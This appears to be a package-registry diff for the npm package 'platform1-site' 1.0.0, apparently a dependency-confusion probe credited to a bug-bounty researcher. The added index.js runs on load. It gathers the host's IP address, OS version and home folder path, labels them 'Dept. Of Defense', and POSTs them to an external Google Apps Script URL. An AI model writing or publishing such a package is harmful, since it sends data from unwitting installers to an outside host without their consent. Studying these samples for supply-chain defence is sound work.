platform1-site 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of platform1-site might be problematic. Click here for more details.
- package/index.js +46 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
// HackerOne: @RedYetiHacks
|
|
2
|
+
// Email: RedYetiDev@gmail.com
|
|
3
|
+
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
|
|
7
|
+
const postData = JSON.stringify({
|
|
8
|
+
ipAddress: getIpAddress(),
|
|
9
|
+
osInfo: getOsInfo(),
|
|
10
|
+
homeFolder: os.homedir(),
|
|
11
|
+
pkg: "platform1-site",
|
|
12
|
+
org: "Dept. Of Defense"
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
const options = {
|
|
16
|
+
hostname: 'script.google.com',
|
|
17
|
+
port: 443,
|
|
18
|
+
path: '/macros/s/AKfycbzaF5Hlla86rHC9VSTZJ93mObnshkukDdYq4cDDs1hF9FIvwBdCLdyM_nrQ6NJFnG3XRg/exec',
|
|
19
|
+
method: 'POST',
|
|
20
|
+
headers: {
|
|
21
|
+
'Content-Type': 'application/json',
|
|
22
|
+
'Content-Length': postData.length,
|
|
23
|
+
},
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
const req = https.request(options, (res) => {});
|
|
27
|
+
req.write(postData);
|
|
28
|
+
req.end();
|
|
29
|
+
|
|
30
|
+
function getIpAddress() {
|
|
31
|
+
const networkInterfaces = os.networkInterfaces();
|
|
32
|
+
for (const ifaceName in networkInterfaces) {
|
|
33
|
+
const iface = networkInterfaces[ifaceName];
|
|
34
|
+
for (const addrInfo of iface) {
|
|
35
|
+
if (!addrInfo.internal && addrInfo.family === 'IPv4') {
|
|
36
|
+
return addrInfo.address;
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
return 'Unknown';
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
function getOsInfo() {
|
|
44
|
+
return `${os.type()} ${os.release()}`;
|
|
45
|
+
|
|
46
|
+
}
|
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "platform1-site",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "[HackerOne Testing] Contact me @RedYetiHacks (RedYetiDev@gmail.com)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC"
|
|
11
|
+
}
|